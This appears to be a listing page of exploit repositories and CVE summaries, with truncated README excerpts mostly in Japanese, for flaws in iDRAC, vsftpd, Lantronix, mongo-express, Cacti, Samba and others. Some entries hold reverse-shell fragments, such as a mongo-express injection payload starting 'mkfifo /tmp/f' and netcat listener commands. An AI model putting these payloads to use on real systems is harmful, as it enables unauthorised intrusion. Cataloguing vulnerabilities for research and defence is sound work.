CVE-2018-1207-better

CVE-2018-1207 のエクスプロイト PoC: Dell iDRAC7/iDRAC8 RCE リバースシェル このリポジトリには、ファームウェアバージョン 2.52.52.52 以下の iDRAC7 および iDRAC8 デバイスに存在するリモートコード実行エクスプロイトを実証する Proof of Concept Python スクリプトが含まれています。このエクスプロイトにより、攻撃者は root...

Exploit for OS Command Injection in Vsftpd_Project Vsftpd

CVE-2011-2523 — vsftpd 2.3.4 Backdoor Exploit !Pythonhttps...

CVE-2026-80151

Lantronix SLC8000 before firmware v9.7.0.3, SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitra...

CVE-2026-80144

Lantronix SLC8000/SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers to execute arbitrary shell commands as root by exploiting an undocumented...

CVE-2026-80143

Lantronix SLC8000/SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers to execute arbitrary shell commands as root by exploiting an undocumented...

CVE-2024-10914-Exploit

SilverX Exploit ツール 📌 説明 SilverX Exploit ツールは、Web アプリケーションの脆弱性を検出および悪用するために設計されたペネトレーションテストスクリプトです。脆弱なシステム上でリモートからコマンドを実行するためのシェル風インターフェースを提供します。 ⚠️ 免責事項 このツールは教育目的および許可されたセキュリティテスト専用です。許可なくシステムに対して不正に使用することは違法かつ非倫理的です。責任を持って使用してください。 🚀 機能 自動脆弱性検出 リモートコマンド実行 リバースシェル対応（Bash、Python、Netcat、PowerShell...

CVE-2019-10758

CVE-2019-10758 mongo-expressのリモートコード実行、リバースシェルのコードは以下のとおりです： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat...

cve-2017-2824-reverse-shell

Este repositorio no tiene un README...

CVE-2020-0688

CVE-2020-0688 動作するエクスプロイト PoC CVE-2020-0688 - リバースバインドシェル Python2.7 でテスト済み インストール: pip install -r requirements.txt 実行: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

vsftpd-234-backdoor

vsftpd 2.3.4 バックドアエクスプロイト vsftpd 2.3.4 バックドア 向けの、依存関係のない小さな Python 3 エクスプロイトです。 CVE-2011-2523。FTP 経由でバックドアをトリガーし、生成されたリスナー上で 対話型の root シェルを起動します。 Python 3.13 で標準ライブラリから削除された telnetlib に依存していた古い エクスプロイトスクリプトの、現代的な置き換えとして作成されました。このバージョンは 標準ライブラリのみを使用し、固定スリープの代わりに select でシェルを読み取るため、 出力が切り詰められません。 ⚠️...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 간단한 react2shell CVE-2025-55182 파이썬 익스플로잇을 만들었습니다. 사용법 1. 스크립트 저장: 위 코드를 exploit.py로 저장합니다. 2. 호스트 업데이트: /etc/hosts 파일에서 reactor.htb가 대상 IP로 확인되도록 합니다. echo " reactor.htb" | sudo tee -a /etc/hosts 3. 리스너 시작: 리버스 셸을 받을 터미널을 엽니다. nc -lvnp 4444 4. 익스플로잇 실행: 리버스 셸 페이로...

CVE-2026-80151 Lantronix Autonomous Out-of-Band Devices OS Command Injection via set nfs download

Lantronix SLC8000 before firmware v9.7.0.3, SLC9000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitra...

EUVD-2026-84509

Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by...

ipmitest

ipmitest IPMIの暗号タイプゼロ認証バイパス脆弱性（CVE-2013-4784）をテストするためのシェルスクリプト IPMIは、システム管理者がコンピュータシステムのアウトオブバンド管理とその動作監視に使用する標準化されたコンピュータシステムインターフェースです。これは、オペレーティングシステムやログインシェルではなく、ネットワーク接続を介してハードウェアにアクセスすることで、電源がオフになっている、または応答しないコンピュータを管理する方法です。 この脆弱性により、リモートの攻撃者は、暗号スイート0（別名 cipher...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 このリポジトリには、Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution の詳細な説明と動作する PoC が含まれています。 設定: Netcat リスナーを作成します。 root@kitploit: nc -lnvp 1234 攻撃者の IP をあなたの IP とポートに変更します。 また、nc.exe が存在する同じディレクトリに HTTP ファイルサーバーを作成します。 root@kitploit:...

CVE-2018-16167

インストールと実行手順 0. LogonTracerのインストール 脆弱性が発見されたv1.2.0のLogonTracerをDockerHubからダウンロードします。 root@kitploit: $docker pull jpcertcc/docker-logontracer:v1.2.0 1. LogonTracerの実行 次のコマンドでコンテナを起動します。 root@kitploit: $docker run \ --detach \ --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \ -e...

CVE-2022-46169

CVE-2022-46169 POC これは、Cacti バージョン 1.2.22 に影響を与える CVE-2022-46169 脆弱性の概念実証 POC スクリプトです。 説明 CVE-2022-46169 脆弱性は、Cacti バージョン 1.2.22 までのバージョンにおいて、認証されていないコマンドインジェクションを許容し、www-data ユーザーとして認証されていないリモートコード実行を達成するものです。この脆弱性は、"remoteagent.php" ファイルの "hostid" パラメータにおけるユーザー入力の不適切な検証に起因します。 使用方法 root@kitploi...

CVE-2017-7494

CVE-2017-7494 CVE-2017-7494 C poc CVE-2017-7494を利用してリバースシェルを取得する 1.まずsambainit.cをコンパイルし、libsamba.soを生成する 2.isknownpipename.c内の関連するアドレスを修正し、コンパイルして実行する...

CVE-2023-38831

CVE-2023-38831 PoC これはCVE-2023-38831用の使いやすいエクスプロイトです。 使用方法 脆弱性のあるバージョンを確認: エクスプロイトを実行: シェルを取得:...

CVE-LiteLLM

cve-id ⚡ 簡単な使い方 このプロジェクトは、以下のような安全かつ許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 設定例： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windo...